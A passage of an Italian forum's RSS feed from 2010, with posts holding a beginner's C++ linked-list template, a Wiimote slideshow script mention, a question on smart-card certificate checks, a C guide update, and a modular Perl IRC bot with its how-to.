&nbsp;&nbsp;&nbsp;&nbsp;type &amp; operator[&#93; ( unsigned int );<br />
&nbsp;&nbsp;&nbsp;&nbsp;void operator&lt;&lt; ( type );<br />
&nbsp;&nbsp;&nbsp;&nbsp;void operator&gt;&gt; ( type &amp; );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned lenght ( void )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return size;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;private:<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * last;<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned int size;<br />
};<br />
<br />
#endif</code></div></div>
<br />
<br />
list.cpp<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#include "list.h"<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: insert ( type toInsert, int position )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( size == 0 )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "You have to create an element before";<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ( unsigned ) position &gt; size )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "Element before does not exist";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * ptr = first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while ( position-- )<br />
&nbsp;&nbsp;&nbsp;&nbsp;ptr = ptr -&gt; next;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * newElem = new elem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;newElem -&gt; value = toInsert;<br />
&nbsp;&nbsp;&nbsp;&nbsp;newElem -&gt; next = ptr -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ptr -&gt; next = newElem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size++;<br />
}<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: insert_back ( type toInsert )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * newElem= new elem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;newElem -&gt; value = toInsert;<br />
&nbsp;&nbsp;&nbsp;&nbsp;newElem -&gt; next = first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;first = newElem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size++;<br />
}<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: erase ( int position )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( position &gt;= size )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "Element before does not exist";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * ptr = first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( position == 0 )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;first = ptr -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;delete ptr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;for ( ; --position &gt; 0 ; )<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ptr = ptr -&gt; next;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * tmp = ptr -&gt; next -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;delete ptr -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ptr -&gt; next = tmp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size--;<br />
}<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: operator&lt;&lt; ( type toInsert )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * number = new elem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;number -&gt; value = toInsert;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( size == 0 )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;first = number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;last = number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;last -&gt; next = number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;last = number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size++;<br />
}<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: operator&gt;&gt; ( type &amp; in )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if( size == 0 )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "List not initialized";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;in = last -&gt; value;<br />
&nbsp;&nbsp;&nbsp;&nbsp;this -&gt; erase ( size - 1 );<br />
}<br />
<br />
template &lt; class type &gt;<br />
type &amp; list &lt; type &gt; :: operator[&#93; ( unsigned int index )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( index &gt;= size )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "Elem before does not exist";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * ptr = first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while ( index-- )<br />
&nbsp;&nbsp;&nbsp;&nbsp;ptr = ptr -&gt; next;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return ptr -&gt; value;<br />
}</code></div></div>
]]></description>
			<content:encoded><![CDATA[Una classe che ho scritto per esercizio e utilità anche se esiste già quella nelle librerie standard.<br />
<br />
list.h<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#ifndef LIST_H<br />
#define LIST_H<br />
<br />
template &lt; class type &gt;<br />
class list<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;class elem<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;public:<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;~elem ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;type value;<br />
&nbsp;&nbsp;&nbsp;&nbsp;};<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;public:<br />
&nbsp;&nbsp;&nbsp;&nbsp;list ( ) :<br />
&nbsp;&nbsp;&nbsp;&nbsp;size(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;first = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;last = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;~list ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * tmp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while ( first )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp = first;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;first = first -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;delete tmp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;void insert_back ( type );<br />
&nbsp;&nbsp;&nbsp;&nbsp;void insert ( type, int );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;void erase ( int );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;type &amp; firstValue ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return first -&gt; value;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;type &amp; lastValue ( )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return last -&gt; value;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;type &amp; operator[] ( unsigned int );<br />
&nbsp;&nbsp;&nbsp;&nbsp;void operator&lt;&lt; ( type );<br />
&nbsp;&nbsp;&nbsp;&nbsp;void operator&gt;&gt; ( type &amp; );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned lenght ( void )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return size;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;private:<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * last;<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned int size;<br />
};<br />
<br />
#endif</code></div></div>
<br />
<br />
list.cpp<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#include "list.h"<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: insert ( type toInsert, int position )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( size == 0 )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "You have to create an element before";<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ( unsigned ) position &gt; size )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "Element before does not exist";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * ptr = first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while ( position-- )<br />
&nbsp;&nbsp;&nbsp;&nbsp;ptr = ptr -&gt; next;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * newElem = new elem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;newElem -&gt; value = toInsert;<br />
&nbsp;&nbsp;&nbsp;&nbsp;newElem -&gt; next = ptr -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ptr -&gt; next = newElem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size++;<br />
}<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: insert_back ( type toInsert )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * newElem= new elem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;newElem -&gt; value = toInsert;<br />
&nbsp;&nbsp;&nbsp;&nbsp;newElem -&gt; next = first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;first = newElem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size++;<br />
}<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: erase ( int position )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( position &gt;= size )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "Element before does not exist";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * ptr = first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( position == 0 )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;first = ptr -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;delete ptr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;for ( ; --position &gt; 0 ; )<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ptr = ptr -&gt; next;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * tmp = ptr -&gt; next -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;delete ptr -&gt; next;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ptr -&gt; next = tmp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size--;<br />
}<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: operator&lt;&lt; ( type toInsert )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * number = new elem;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;number -&gt; value = toInsert;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( size == 0 )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;first = number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;last = number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;last -&gt; next = number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;last = number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size++;<br />
}<br />
<br />
template &lt; class type &gt;<br />
void list &lt; type &gt; :: operator&gt;&gt; ( type &amp; in )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if( size == 0 )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "List not initialized";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;in = last -&gt; value;<br />
&nbsp;&nbsp;&nbsp;&nbsp;this -&gt; erase ( size - 1 );<br />
}<br />
<br />
template &lt; class type &gt;<br />
type &amp; list &lt; type &gt; :: operator[] ( unsigned int index )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( index &gt;= size )<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw "Elem before does not exist";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;elem * ptr = first;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while ( index-- )<br />
&nbsp;&nbsp;&nbsp;&nbsp;ptr = ptr -&gt; next;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return ptr -&gt; value;<br />
}</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[shoutbox non funzionante]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17120</link>
			<pubDate>Tue, 20 Jul 2010 14:43:54 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17120</guid>
			<description><![CDATA[sono un paio di giorni che la shoutbox non si carica completamente.<br />
<br />
non ho nessuno blocco js attivato]]></description>
			<content:encoded><![CDATA[sono un paio di giorni che la shoutbox non si carica completamente.<br />
<br />
non ho nessuno blocco js attivato]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[diapositive col wiimote]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17119</link>
			<pubDate>Tue, 20 Jul 2010 13:59:24 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17119</guid>
			<description><![CDATA[oggi avevo voglia di fare qualcosa di figo e lo fatto ho collegato il wimote all pc e ho usato <a href="http://glovepie.org" target="_blank">GlovePIE</a> per fare questo semplice script <a href="http://pastebin.org/388332" target="_blank">http://pastebin.org/388332</a> si posso usare anche i sensori di movimento del wiimote ma non avevo voglia lo scrpit e facilissimo adesso vedro di fare qualcosa di piu FIGO]]></description>
			<content:encoded><![CDATA[oggi avevo voglia di fare qualcosa di figo e lo fatto ho collegato il wimote all pc e ho usato <a href="http://glovepie.org" target="_blank">GlovePIE</a> per fare questo semplice script <a href="http://pastebin.org/388332" target="_blank">http://pastebin.org/388332</a> si posso usare anche i sensori di movimento del wiimote ma non avevo voglia lo scrpit e facilissimo adesso vedro di fare qualcosa di piu FIGO]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Policy certificato su smart card]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17118</link>
			<pubDate>Mon, 19 Jul 2010 10:26:29 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17118</guid>
			<description><![CDATA[Spero di non essere off topics con questa mia domanda, e abbiate pazienza per la mia ignoranza in materia e la scarsa precisione dell'utilizzo delle parole.<br />
<br />
Ho necessità di accedere ad un server web, la comunicazione è crittata (https), inoltre, al fine di garantire un maggiore livello di sicurezza, per accedere al server devo essere in possesso di una smart card e relativo certificato digitale (rilasciati da ArubaPEC), la cui chiave pubblica è stata trasmessa ai gestori del server.<br />
Pertanto al login devo inserire smart card nel lettore, selezionare il certificato (sulla carta ce ne stanno 2), digitare il PIN corretto, in seguito faccio login (username e password, <span style="font-style: italic;">as usual</span>).<br />
L'utilizzo del sistema remoto tuttavia è molto lento, in quanto, a detta degli amministratori della sicurezza, prima dell'invio (da server ad host) di qualunque componente (codice html, immagini, ecc.)  il server verifica l'autenticità del certificato! Quindi non solamente al login, cosa che mi sembra più normale, ma ad ogni risposta del server questo accede ad ArubaPEC per fare una verifica (cosa verifichi non lo so con precisione, forse una CRL?). Da qui la lentezza di tutto il sistema.<br />
<br />
A me questo modo di procedere sembra piuttosto strano... Si tratta di una policy standard?<br />
Si consideri infine che questo sistema di accesso (server https+certificato digitale su smart card) è stato allestito anche da altri due soggetti, ma la verifica del certificato ha luogo solamente al login. Ed infatti l'utilizzo è molto più rapido.<br />
<br />
E' sbagliato allestire un meccanismo simile, oppure ognuno è libero di decidere la propria policy a piacere? Inoltre: la verifica dell'autenticità del certificato (o qualunque cosa faccia) fatta solamente al login espone davvero il sistema a delle vulnerabiità?<br />
<br />
Grazie mille per ogni risposta e spiegazione,<br />
aloha]]></description>
			<content:encoded><![CDATA[Spero di non essere off topics con questa mia domanda, e abbiate pazienza per la mia ignoranza in materia e la scarsa precisione dell'utilizzo delle parole.<br />
<br />
Ho necessità di accedere ad un server web, la comunicazione è crittata (https), inoltre, al fine di garantire un maggiore livello di sicurezza, per accedere al server devo essere in possesso di una smart card e relativo certificato digitale (rilasciati da ArubaPEC), la cui chiave pubblica è stata trasmessa ai gestori del server.<br />
Pertanto al login devo inserire smart card nel lettore, selezionare il certificato (sulla carta ce ne stanno 2), digitare il PIN corretto, in seguito faccio login (username e password, <span style="font-style: italic;">as usual</span>).<br />
L'utilizzo del sistema remoto tuttavia è molto lento, in quanto, a detta degli amministratori della sicurezza, prima dell'invio (da server ad host) di qualunque componente (codice html, immagini, ecc.)  il server verifica l'autenticità del certificato! Quindi non solamente al login, cosa che mi sembra più normale, ma ad ogni risposta del server questo accede ad ArubaPEC per fare una verifica (cosa verifichi non lo so con precisione, forse una CRL?). Da qui la lentezza di tutto il sistema.<br />
<br />
A me questo modo di procedere sembra piuttosto strano... Si tratta di una policy standard?<br />
Si consideri infine che questo sistema di accesso (server https+certificato digitale su smart card) è stato allestito anche da altri due soggetti, ma la verifica del certificato ha luogo solamente al login. Ed infatti l'utilizzo è molto più rapido.<br />
<br />
E' sbagliato allestire un meccanismo simile, oppure ognuno è libero di decidere la propria policy a piacere? Inoltre: la verifica dell'autenticità del certificato (o qualunque cosa faccia) fatta solamente al login espone davvero il sistema a delle vulnerabiità?<br />
<br />
Grazie mille per ogni risposta e spiegazione,<br />
aloha]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Guida pratica alla programmazione in C - reloaded]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17117</link>
			<pubDate>Sun, 18 Jul 2010 12:54:04 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17117</guid>
			<description><![CDATA[Dopo diverse segnalazioni di piccoli errori nella mia guida ho deciso di darle una piccola rimessa a nuovo, correggendo gli errorini presenti qua e là, modificando il modo in cui illustro certi argomenti e aggiungendo un nuovo capitolo con cenni di programmazione a oggetti.<br />
La guida può essere scaricata sempre dal solito link: <a href="http://0x00.ath.cx/guidac.pdf" target="_blank">http://0x00.ath.cx/guidac.pdf</a> .]]></description>
			<content:encoded><![CDATA[Dopo diverse segnalazioni di piccoli errori nella mia guida ho deciso di darle una piccola rimessa a nuovo, correggendo gli errorini presenti qua e là, modificando il modo in cui illustro certi argomenti e aggiungendo un nuovo capitolo con cenni di programmazione a oggetti.<br />
La guida può essere scaricata sempre dal solito link: <a href="http://0x00.ath.cx/guidac.pdf" target="_blank">http://0x00.ath.cx/guidac.pdf</a> .]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PlIB - PerL IrcBot]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17116</link>
			<pubDate>Sat, 17 Jul 2010 19:01:13 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17116</guid>
			<description><![CDATA[Salve a tutti! <img src="http://www.infernet.ws//images/smilies/set1/phonmg.gif" style="vertical-align: middle;" border="0" alt="Phonmg" title="Phonmg" /><br />
Sono qui per presentarvi la mia ultima creazione, PlIB..<br />
Cosa è PlIB? PlIB (Pi elle i bi) è un <span style="font-weight: bold;">ircbot modulare</span> scritto in <span style="font-style: italic;">Perl</span>, rfc-compliant e con supporto ad SSL.<br />
<br />
Resta a voi scoprirlo completamente.. questo è un esempio di usage:<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#!/usr/bin/perl<br />
<br />
###############################################################<br />
# @name..................................................plib #<br />
# @realname.......................................PerL IrcBot #<br />
# @author............................................Robertof #<br />
# @mail.....................................robertof@anche.no #<br />
# @licence..........................................GNU/GPL 3 #<br />
# @lang..................................................Perl #<br />
# @requirements...IO::Socket::INET or IO::Socket::SSL for SSL #<br />
# @isthisfinished.........................................yes #<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Enjoy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
###############################################################<br />
<br />
use strict;<br />
use warnings;<br />
use Plib::main;<br />
# Usage: new (nick, user, real, idpass, isop, debug, usessl, server, port)<br />
# !! WARNING !! Use class-&gt;setChans (chan1:key, chan2:key, chan3, chan4, ecc.) to add chans to join !!<br />
my &#36;plib = Plib::main-&gt;new ("Plib", "plib", "PerL IrcBot", "", 0, 1, 1, "irc.unitx.net", 6697);<br />
&#36;plib-&gt;setChans ("#Unit-X");<br />
### ↓↓↓↓↓ OPTIONAL MODULES ↓↓↓↓↓&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ###<br />
#&nbsp;&nbsp; Usage: &#36;mainclass-&gt;hook_modules (module1, module2, module3 ecc.) ###<br />
&#36;plib-&gt;hook_modules ("firstplugin", "dml", "autorejoin");<br />
#<br />
&#36;plib-&gt;startAll;</code></div></div>
Download: <a href="http://github.com/Robertof/PlIB/tarball/master" target="_blank">http://github.com/Robertof/PlIB/tarball/master</a> (tar.gz)<br />
Github: <a href="http://github.com/Robertof/PlIB" target="_blank">http://github.com/Robertof/PlIB</a><br />
Sono inclusi alcuni moduli predefiniti, come l'autorejoin, il dynamic plugin loader (mi raccomando di impostarlo!), il plugin per UnitX ecc.<br />
Infine, ho appena finito di scrivere una megaguida per chi volesse approfondire PlIB, con annessa guida per la creazione di moduli.<br />
Eccola qui:<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>PlIB -- HowTo<br />
<br />
Italian:<br />
Ciao mondo!<br />
PlIB è un ircbot modulare, rfc compliant con numerose features. Una di queste è, ad esempio, il supporto ad SSL :)<br />
Ma resta a voi scoprirle tutte, con questo grande manuale!<br />
<br />
Cominciamo a spiegare come è composto PlIB.<br />
PlIB è formato da 3 moduli principali: main, sockutil e functions.<br />
Il primo, main, è il modulo principale.<br />
Le sue funzioni sono:<br />
- new ~ il costruttore. Parametri:<br />
-- nickname, username, realname<br />
-- idpass (identify pass)<br />
-- isOp (il bot sarà operatore nei canali? NB: questa funzione non serve a nulla nelle classi predefinite del bot, ma potrebbe servire ad un eventuale plugin)<br />
-- debug (il bot deve abilitare il debug? Con il debug avrete alcuni messaggi speciali, e sarà visualizzato ciò che il server invia)<br />
-- usessl (il bot dovrà usare SSL? Attenzione, è necessario il modulo IO::Socket::SSL per l'SSL!)<br />
-- server (a quale server il bot dovrà connettersi?)<br />
-- port (che porta?)<br />
~~~~~~~~~~~~~~~~~~~<br />
- setChans ~ questa funzione serve per impostare i chans del bot. Attenzione: è obbligatorio usare questa funzione prima di avviare il bot con startAll! Parametri:<br />
-- canale1 (canale)<br />
-- canale2:chiave (un canale con annessa chiave)<br />
-- canale3 (un altro canale senza chiave)<br />
-- ecc. (si possono aggiungere infiniti canali)<br />
~~~~~~~~~~~~~~~~~~~<br />
- isDebug ~ funzione interna - restituisce 1 o 0 in base all'opzione "debug" inserita nel costruttore.<br />
~~~~~~~~~~~~~~~~~~~<br />
- hook_modules ~ questa funzione serve per "hookare" un modulo. Un modulo può contenere qualsiasi cosa, dalla possibilità di ricercare da un motore di ricerca alla possibilità di implementare persino un'intelligenza artificiale (sì, ok, giusto per dire!). Parametri:<br />
-- modulo1<br />
-- modulo2<br />
-- ecc. (si possono aggiungere infiniti moduli, nei limiti della memoria ovviamente!)<br />
~~~~~~~~~~~~~~~~~~~<br />
- getAllChannels ~ questa funzione ritorna la lista dei canali joinati [quelli specificati con setChans&#93;, con un separatore a scelta. Parametri:<br />
-- chanSeparator (il separatore per ciascun chan, per esempio ',' produrra' #ciao,#mondo,#bello ecc.)<br />
-- withKey (nel risultato sarà restituita anche la key?)<br />
-- keySeparator (se è stato specificato withKey, questo sarà il separatore della chiave del canale. Per esempio, se inserisco ':', produrrà: #ciao:bello,#mondo:0,#bello:cavolo; ATTENZIONE allo 0 finale, che viene inserito quando un canale non ha la chiave!<br />
~~~~~~~~~~~~~~~~~~~<br />
- sendMsg ~ questa funzione invia un messaggio, ma solo se è stato aperto il socket (quindi se è stata lanciata la funzione startAll) - Parametri:<br />
-- to (destinazione del messaggio, puo' essere anche un username)<br />
-- what (cosa deve inviare PlIB?)<br />
~~~~~~~~~~~~~~~~~~~<br />
- matchMsg ~ questa funzione matcha un messaggio, e ritorna un hash reference (ovvero da usare come &#36;x-&gt;{'elemento'}) formato da 3 elementi: userinfo (le informazioni dell'utente in formato :nick!ident@host, inutile se usato con un plugin, poiché alla funzione 'onWhile' del plugin vengono passate le variabili 'nick, 'ident' e 'host'), chan (il canale dove è stato inviato il messaggio), message (il messaggio). Parametri:<br />
-- onWhat (su cosa deve matchare il messaggio? Dev'essere una riga mandata dal server)<br />
~~~~~~~~~~~~~~~~~~~<br />
- getUserData ~ questa funzione matcha le informazioni di un utente, in formato :nick!ident@host, e restituisce un hash reference formato da 3 elementi: nick (il nick dell'utente), ident (l'ident dell'utente), host (l'host dell'utente). Questa funzione è utile solo nel caso si abbiano delle informazioni non parsate automaticamente da PlIB (quindi non nel caso dell'onWhile dei plugin). Parametri:<br />
-- onWhat (su cosa deve matchare i dati dell'utente? Dev'essere una riga mandata dal server)<br />
~~~~~~~~~~~~~~~~~~~<br />
- startAll ~ questa funzione apre il socket, ed avvia la ricezione dei dati da esso. Necessaria per far connettere il bot. Attenzione: avviare questa funzione solo DOPO aver hookato i plugin &amp; aver impostato i chan.<br />
<br />
Queste sono le funzioni del modulo principale. Ma ora passiamo a sockutil. Sockutil è il modulo che fornisce alcuni utili funzioni per il socket. È possibile accedere a questo modulo grazie al main, che metterà a disposizione nel mainhash l'attributo "socket", in modo da poterci accedere tramite &#36;mainClass-&gt;{"socket"}-&gt;funzioniSockUtil. NOTA: questa classe non dev'essere inizializzata dall'utente, ma dalla main di PlIB!! Verrà fatto automaticamente dal metodo 'startAll'. Rendo comunque disponibili i parametri della 'new' per chi fosse interessato in generale.<br />
